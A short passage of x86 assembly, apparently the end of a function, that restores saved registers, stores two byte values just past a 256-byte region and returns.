pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret